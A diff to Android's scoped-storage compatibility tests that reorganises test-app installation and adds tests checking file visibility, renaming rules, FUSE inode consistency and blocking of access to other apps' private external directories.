--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -175,6 +175,9 @@
return intent;
case CREATE_FILE_QUERY:
maybeCreateParentDirInAndroid(file);
+ if (!file.getParentFile().exists()) {
+ file.getParentFile().mkdirs();
+ }
intent.putExtra(queryType, file.createNewFile());
return intent;
case DELETE_FILE_QUERY:
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index e7d17cf..fb8d2bc 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -17,11 +17,14 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsScopedStorageDeviceOnlyTest.apk" />
- <option name="install-arg" value="-g" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
</target_preparer>
<option name="config-descriptor:metadata" key="component" value="framework" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<option name="test-suite-tag" value="cts" />
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 646cc01..2a8443b 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -36,6 +36,7 @@
import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
import static android.scopedstorage.cts.lib.TestUtils.canOpen;
import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
@@ -60,6 +61,7 @@
import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
@@ -79,11 +81,16 @@
import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
import static android.system.OsConstants.F_OK;
import static android.system.OsConstants.O_APPEND;
import static android.system.OsConstants.O_CREAT;
@@ -104,7 +111,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import android.Manifest;
import android.app.AppOpsManager;
@@ -132,7 +138,6 @@
import com.google.common.io.Files;
import org.junit.After;
-import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
@@ -180,18 +185,30 @@
static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
- // This app is installed with READ_EXTERNAL_STORAGE permission before tests are run
+ // The following apps are installed before the tests are run via a target_preparer.
+ // See test config for details.
+ // An app with READ_EXTERNAL_STORAGE permission
private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
- "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
- // This app is installed without any permissions before tests are run
+ "android.scopedstorage.cts.testapp.A.withres", 1, false,
+ "CtsScopedStorageTestAppA.apk");
+ // An app with no permissions
private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
- "android.scopedstorage.cts.testapp.B", 1, false, "CtsScopedStorageTestAppB.apk");
- // This app is not installed at test startup - please install before using.
+ "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+ "CtsScopedStorageTestAppB.apk");
+ // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+ private static final TestApp APP_FM = new TestApp("TestAppFileManager",
+ "android.scopedstorage.cts.testapp.filemanager", 1, false,
+ "CtsScopedStorageTestAppFileManager.apk");
+ // A legacy targeting app with RES and WES permissions
+ private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+ "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+
+ // The following apps are not installed at test startup - please install before using.
private static final TestApp APP_C = new TestApp("TestAppC",
"android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
- // This app is not installed at test startup - please install before using.
private static final TestApp APP_C_LEGACY = new TestApp("TestAppCLegacy",
"android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+
private static final String[] SYSTEM_GALERY_APPOPS = {
AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
@@ -214,16 +231,27 @@
}
@BeforeClass
- public static void installApps() throws Exception {
- installAppWithStoragePermissions(APP_A_HAS_RES);
- installApp(APP_B_NO_PERMS);
+ public static void setupApps() throws Exception {
+ // File manager needs to be explicitly granted MES app op.
+ final int fmUid =
+ getContext().getPackageManager().getPackageUid(APP_FM.getPackageName(),
+ 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+
+ // Others are installed by target preparer with runtime permissions.
+ // Verify.
+ assertThat(checkPermission(APP_A_HAS_RES,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+ assertThat(checkPermission(APP_B_NO_PERMS,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
+ assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+ assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+ Manifest.permission.WRITE_EXTERNAL_STORAGE)).isTrue();
}
- @Before
- public void setup() throws Exception {
- // skips all test cases if FUSE is not active.
- assumeTrue(getBoolean("persist.sys.fuse", false));
-
+ @BeforeClass
+ public static void setupStorage() throws Exception {
if (!getContext().getPackageManager().isInstantApp()) {
pollForExternalStorageState();
getExternalFilesDir().mkdirs();
@@ -235,12 +263,6 @@
executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
}
- @AfterClass
- public static void uninstallApps() {
- uninstallAppNoThrow(APP_B_NO_PERMS);
- uninstallAppNoThrow(APP_A_HAS_RES);
- }
-
@Before
public void setupExternalStorage() {
setupDefaultDirectories();
@@ -735,7 +757,7 @@
assertThat(listAs(APP_B_NO_PERMS, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(pdfFileName);
- // APP B with storage permission should see TEST_DIRECTORY in downloadDir
+ // APP A with storage permission should see TEST_DIRECTORY in downloadDir
// and should not see non media file in TEST_DIRECTORY.
assertThat(listAs(APP_A_HAS_RES, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
@@ -823,7 +845,7 @@
HashMap<String, String> exifFromTestApp =
readExifMetadataFromTestApp(APP_A_HAS_RES, jpgFile.getPath());
- // Other apps shouldn't have access to the same metadata without explicit permission
+ // App does not have AML; shouldn't have access to the same metadata.
assertExifMetadataMismatch(exifFromTestApp, originalExif);
// TODO(b/146346138): Test that if we give APP_A write URI permission,
@@ -1096,6 +1118,36 @@
}
}
+ @Test
+ public void testInsertDefaultPrimaryCaseInsensitiveCheck() throws Exception {
+ final File podcastsDir = getPodcastsDir();
+ final File podcastsDirLowerCase =
+ new File(getExternalStorageDir(), Environment.DIRECTORY_PODCASTS.toLowerCase());
+ final File fileInPodcastsDirLowerCase = new File(podcastsDirLowerCase, AUDIO_FILE_NAME);
+ try {
+ // Delete the directory if it already exists
+ if (podcastsDir.exists()) {
+ deleteAsLegacyApp(podcastsDir);
+ }
+ assertThat(podcastsDir.exists()).isFalse();
+ assertThat(podcastsDirLowerCase.exists()).isFalse();
+
+ // Create the directory with lower case
+ assertThat(podcastsDirLowerCase.mkdir()).isTrue();
+ // Because of case-insensitivity, even though directory is created
+ // with lower case, we should be able to see both directory names.
+ assertThat(podcastsDirLowerCase.exists()).isTrue();
+ assertThat(podcastsDir.exists()).isTrue();
+
+ // File creation with lower case path of podcasts directory should not fail
+ assertThat(fileInPodcastsDirLowerCase.createNewFile()).isTrue();
+ } finally {
+ fileInPodcastsDirLowerCase.delete();
+ podcastsDirLowerCase.delete();
+ podcastsDir.mkdirs();
+ }
+ }
+
private void createDeleteCreate(File create, File delete) throws Exception {
try {
assertThat(create.createNewFile()).isTrue();
@@ -1114,7 +1166,7 @@
@Test
public void testReadStorageInvalidation() throws Exception {
- testAppOpInvalidation(APP_B_NO_PERMS, new File(getDcimDir(), "read_storage.jpg"),
+ testAppOpInvalidation(APP_C, new File(getDcimDir(), "read_storage.jpg"),
Manifest.permission.READ_EXTERNAL_STORAGE,
AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
}
@@ -1134,13 +1186,13 @@
@Test
public void testWriteImagesInvalidation() throws Exception {
- testAppOpInvalidation(APP_B_NO_PERMS, new File(getDcimDir(), "write_images.jpg"),
+ testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_images.jpg"),
/* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
}
@Test
public void testWriteVideoInvalidation() throws Exception {
- testAppOpInvalidation(APP_B_NO_PERMS, new File(getDcimDir(), "write_video.mp4"),
+ testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_video.mp4"),
/* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
}
@@ -1196,6 +1248,7 @@
installAppWithStoragePermissions(APP_C_LEGACY);
grantPermission(APP_C_LEGACY.getPackageName(),
Manifest.permission.WRITE_EXTERNAL_STORAGE); // Grants write access for legacy
+
// Legacy app can read and write media files contributed by others
assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ false)).isTrue();
assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ true)).isTrue();
@@ -1204,6 +1257,7 @@
installAppWithStoragePermissions(APP_C);
grantPermission(APP_C_LEGACY.getPackageName(),
Manifest.permission.WRITE_EXTERNAL_STORAGE); // No effect for non-legacy
+
// Non-legacy app can read media files contributed by others
assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isTrue();
// But cannot write
@@ -1672,6 +1726,43 @@
}
/**
+ * Test that FUSE upper-fs is consistent with lower-fs after the lower-fs fd is closed.
+ */
+ @Test
+ public void testInodeStatConsistency() throws Exception {
+ File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+ try {
+ byte[] writeBuffer = new byte[10];
+ Arrays.fill(writeBuffer, (byte) 1);
+
+ assertThat(file.createNewFile()).isTrue();
+ // Scanning a file is essential as files created via filepath will be marked
+ // as isPending, and we do not set listener for pending files as it can lead to
+ // performance overhead. See: I34611f0ee897dc676e7653beb7943aa6de58c55a.
+ MediaStore.scanFile(getContentResolver(), file);
+
+ // File operation #1 (to lower-fs)
+ ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+
+ // File operation #2 (to fuse). This caches the inode for the file.
+ file.exists();
+
+ // Write bytes directly to lower-fs
+ Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+ // Close should invalidate inode cache for this file.
+ writePfd.close();
+ Thread.sleep(1000);
+
+ long fuseFileSize = file.length();
+ assertThat(writeBuffer.length).isEqualTo(fuseFileSize);
+ } finally {
+ file.delete();
+ }
+ }
+
+ /**
* Test that apps can rename a hidden file.
*/
@Test
@@ -1786,28 +1877,23 @@
assertDirectoryContains(dcimDir, hiddenImageFile);
// TestApp with read permissions can't see the hidden image file created by other app
- assertThat(listAs(APP_B_NO_PERMS, dcimDir.getAbsolutePath()))
+ assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
.doesNotContain(hiddenImageFileName);
- final int testAppUid =
- getContext().getPackageManager().getPackageUid(APP_B_NO_PERMS.getPackageName(),
- 0);
- // FileManager can see the hidden image file created by other app
- try {
- allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- assertThat(listAs(APP_B_NO_PERMS, dcimDir.getAbsolutePath()))
- .contains(hiddenImageFileName);
- } finally {
- denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- }
+ // But file manager can
+ assertThat(listAs(APP_FM, dcimDir.getAbsolutePath()))
+ .contains(hiddenImageFileName);
- // Gallery can not see the hidden image file created by other app
+ // Gallery cannot see the hidden image file created by other app
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+ 0);
try {
- allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
- assertThat(listAs(APP_B_NO_PERMS, dcimDir.getAbsolutePath()))
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+ assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
.doesNotContain(hiddenImageFileName);
} finally {
- denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
}
} finally {
hiddenImageFile.delete();
@@ -1826,18 +1912,16 @@
Uri trashedPdfFileUri = null;
try {
pendingImgaeFileUri = createPendingFile(pendingImageFile);
- assertOpenPendingOrTrashed(pendingImgaeFileUri, APP_A_HAS_RES, /*isImageOrVideo*/ true);
+ assertOpenPendingOrTrashed(pendingImgaeFileUri, /*isImageOrVideo*/ true);
pendingPdfFileUri = createPendingFile(pendingPdfFile);
- assertOpenPendingOrTrashed(pendingPdfFileUri, APP_A_HAS_RES,
- /*isImageOrVideo*/ false);
+ assertOpenPendingOrTrashed(pendingPdfFileUri, /*isImageOrVideo*/ false);
trashedVideoFileUri = createTrashedFile(trashedVideoFile);
- assertOpenPendingOrTrashed(trashedVideoFileUri, APP_A_HAS_RES, /*isImageOrVideo*/ true);
+ assertOpenPendingOrTrashed(trashedVideoFileUri, /*isImageOrVideo*/ true);
trashedPdfFileUri = createTrashedFile(trashedPdfFile);
- assertOpenPendingOrTrashed(trashedPdfFileUri, APP_A_HAS_RES,
- /*isImageOrVideo*/ false);
+ assertOpenPendingOrTrashed(trashedPdfFileUri, /*isImageOrVideo*/ false);
} finally {
deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
@@ -1857,24 +1941,20 @@
imageFileUri = createPendingFile(imageFile);
// Check that only owner package, file manager and system gallery can list pending image
// file.
- assertListPendingOrTrashed(imageFileUri, imageFile, APP_A_HAS_RES,
- /*isImageOrVideo*/ true);
+ assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
trashFile(imageFileUri);
// Check that only owner package, file manager and system gallery can list trashed image
// file.
- assertListPendingOrTrashed(imageFileUri, imageFile, APP_A_HAS_RES,
- /*isImageOrVideo*/ true);
+ assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
pdfFileUri = createPendingFile(pdfFile);
// Check that only owner package, file manager can list pending non media file.
- assertListPendingOrTrashed(pdfFileUri, pdfFile, APP_A_HAS_RES,
- /*isImageOrVideo*/ false);
+ assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
trashFile(pdfFileUri);
// Check that only owner package, file manager can list trashed non media file.
- assertListPendingOrTrashed(pdfFileUri, pdfFile, APP_A_HAS_RES,
- /*isImageOrVideo*/ false);
+ assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
} finally {
deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
deleteFiles(imageFile, pdfFile);
@@ -1911,26 +1991,21 @@
assertCantDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath,
pendingPdfFilePath, trashedPdfFilePath);
- final int testAppUid =
- getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
- 0);
- try {
- allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- // File Manager can delete any pending and trashed file
- assertCanDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath,
- pendingPdfFilePath, trashedPdfFilePath);
- } finally {
- denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- }
+ // File Manager can delete any pending and trashed file
+ assertCanDeletePathsAs(APP_FM, pendingVideoFilePath, trashedImageFilePath,
+ pendingPdfFilePath, trashedPdfFilePath);
pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+ // System Gallery can delete any pending and trashed image or video file.
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+ 0);
try {
- allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
- // System Gallery can delete any pending and trashed image or video file.
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
assertCanDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath);
@@ -1940,7 +2015,7 @@
assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
assertCantDeletePathsAs(APP_A_HAS_RES, pendingPdfFilePath, trashedPdfFilePath);
} finally {
- denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
}
} finally {
deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
@@ -2217,6 +2292,148 @@
}
/**
+ * Test that we don't allow renaming to top level directory
+ */
+ @Test
+ public void testCantRenameToTopLevelDirectory() throws Exception {
+ final File topLevelDir1 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_1");
+ final File topLevelDir2 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_2");
+ final File nonTopLevelDir = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+ try {
+ createDirectoryAsLegacyApp(topLevelDir1);
+ assertTrue(topLevelDir1.exists());
+
+ // We can't rename a top level directory to a top level directory
+ assertCantRenameDirectory(topLevelDir1, topLevelDir2, null);
+
+ // However, we can rename a top level directory to non-top level directory.
+ assertCanRenameDirectory(topLevelDir1, nonTopLevelDir, null, null);
+
+ // We can't rename a non-top level directory to a top level directory.
+ assertCantRenameDirectory(nonTopLevelDir, topLevelDir2, null);
+ } finally {
+ deleteAsLegacyApp(topLevelDir1);
+ deleteAsLegacyApp(topLevelDir2);
+ nonTopLevelDir.delete();
+ }
+ }
+
+ @Test
+ public void testCanCreateDefaultDirectory() throws Exception {
+ final File podcastsDir = getPodcastsDir();
+ try {
+ if (podcastsDir.exists()) {
+ deleteAsLegacyApp(podcastsDir);
+ }
+ assertThat(podcastsDir.mkdir()).isTrue();
+ } finally {
+ createDirectoryAsLegacyApp(podcastsDir);
+ }
+ }
+
+ /**
+ * b/168830497: Test that app can write to file in DCIM/Camera even with .nomedia presence
+ */
+ @Test
+ public void testCanWriteToDCIMCameraWithNomedia() throws Exception {
+ final File cameraDir = new File(getDcimDir(), "Camera");
+ final File nomediaFile = new File(cameraDir, ".nomedia");
+ Uri targetUri = null;
+
+ try {
+ // Recreate required file and directory
+ if (cameraDir.exists()) {
+ // This is a work around to address a known inode cache inconsistency issue
+ // that occurs when test runs for the second time.
+ deleteAsLegacyApp(cameraDir);
+ }
+
+ createDirectoryAsLegacyApp(cameraDir);
+ assertTrue(cameraDir.exists());
+
+ createFileAsLegacyApp(nomediaFile);
+ assertTrue(nomediaFile.exists());
+
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH, "DCIM/Camera");
+ targetUri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+ assertNotNull(targetUri);
+
+ try (ParcelFileDescriptor pfd =
+ getContentResolver().openFileDescriptor(targetUri, "w")) {
+ assertThat(pfd).isNotNull();
+ Os.write(pfd.getFileDescriptor(), ByteBuffer.wrap(BYTES_DATA1));
+ }
+
+ assertFileContent(new File(getFilePathFromUri(targetUri)), BYTES_DATA1);
+ } finally {
+ deleteWithMediaProviderNoThrow(targetUri);
+ deleteAsLegacyApp(nomediaFile);
+ deleteAsLegacyApp(cameraDir);
+ }
+ }
+
+ /**
+ * Test that readdir lists unsupported file types in default directories.
+ */
+ @Test
+ public void testListUnsupportedFileType() throws Exception {
+ final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
+ final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
+ try {
+ // TEST_APP_A with storage permission should not see pdf file in DCIM
+ createFileAsLegacyApp(pdfFile);
+ assertThat(pdfFile.exists()).isTrue();
+ assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
+
+ assertThat(listAs(APP_A_HAS_RES, getDcimDir().getPath()))
+ .doesNotContain(NONMEDIA_FILE_NAME);
+
+ createFileAsLegacyApp(videoFile);
+ // We don't insert files to db for files created by shell.
+ assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
+ // TEST_APP_A with storage permission should see video file in Music directory.
+ assertThat(listAs(APP_A_HAS_RES, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
+ } finally {
+ deleteAsLegacyApp(pdfFile);
+ deleteAsLegacyApp(videoFile);
+ MediaStore.scanFile(getContentResolver(), pdfFile);
+ MediaStore.scanFile(getContentResolver(), videoFile);
+ }
+ }
+
+ /**
+ * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
+ */
+ @Test
+ public void testCantAccessOtherAppsExternalDirs() throws Exception {
+ File[] obbDirs = getContext().getObbDirs();
+ File[] dataDirs = getContext().getExternalFilesDirs(null);
+ for (File obbDir : obbDirs) {
+ final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
+ THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+ final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+ assertCannotReadOrWrite(file);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+ }
+ }
+ for (File dataDir : dataDirs) {
+ final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
+ THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+ final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+ assertCannotReadOrWrite(file);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+ }
+ }
+ }
+
+ /**
* Test that apps can't set attributes on another app's files.
*/
@Test
@@ -2282,12 +2499,48 @@
}
}
+ @Test
+ public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ }
+
+ @Test
+ public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ }
+
+ @Test
+ public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
/**
* Checks restrictions for opening pending and trashed files by different apps. Assumes that
* given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
* method doesn't uninstall given {@code testApp} at the end.
*/
- private void assertOpenPendingOrTrashed(Uri uri, TestApp testApp, boolean isImageOrVideo)
+ private void assertOpenPendingOrTrashed(Uri uri, boolean isImageOrVideo)
throws Exception {
final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
@@ -2297,46 +2550,38 @@
// App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
// write
- assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
- assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
- final int testAppUid =
- getContext().getPackageManager().getPackageUid(testApp.getPackageName(), 0);
- try {
- allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- // File Manager can open any pending or trashed file for read or write
- assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
- assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
- } finally {
- denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- }
+ assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ false));
+ assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ true));
+ final int resAppUid =
+ getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
try {
- allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+ allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
if (isImageOrVideo) {
// System Gallery can open any pending or trashed image/video file for read or write
assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
- assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
- assertTrue(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+ assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+ assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
} else {
// System Gallery can't open other app's pending or trashed non-media file for read
// or write
assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
- assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ false));
- assertFalse(canOpenFileAs(testApp, pendingOrTrashedFile, /*forWrite*/ true));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+ assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
}
} finally {
- denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
+ denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
}
}
/**
- * Checks restrictions for listing pending and trashed files by different apps. Assumes that
- * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
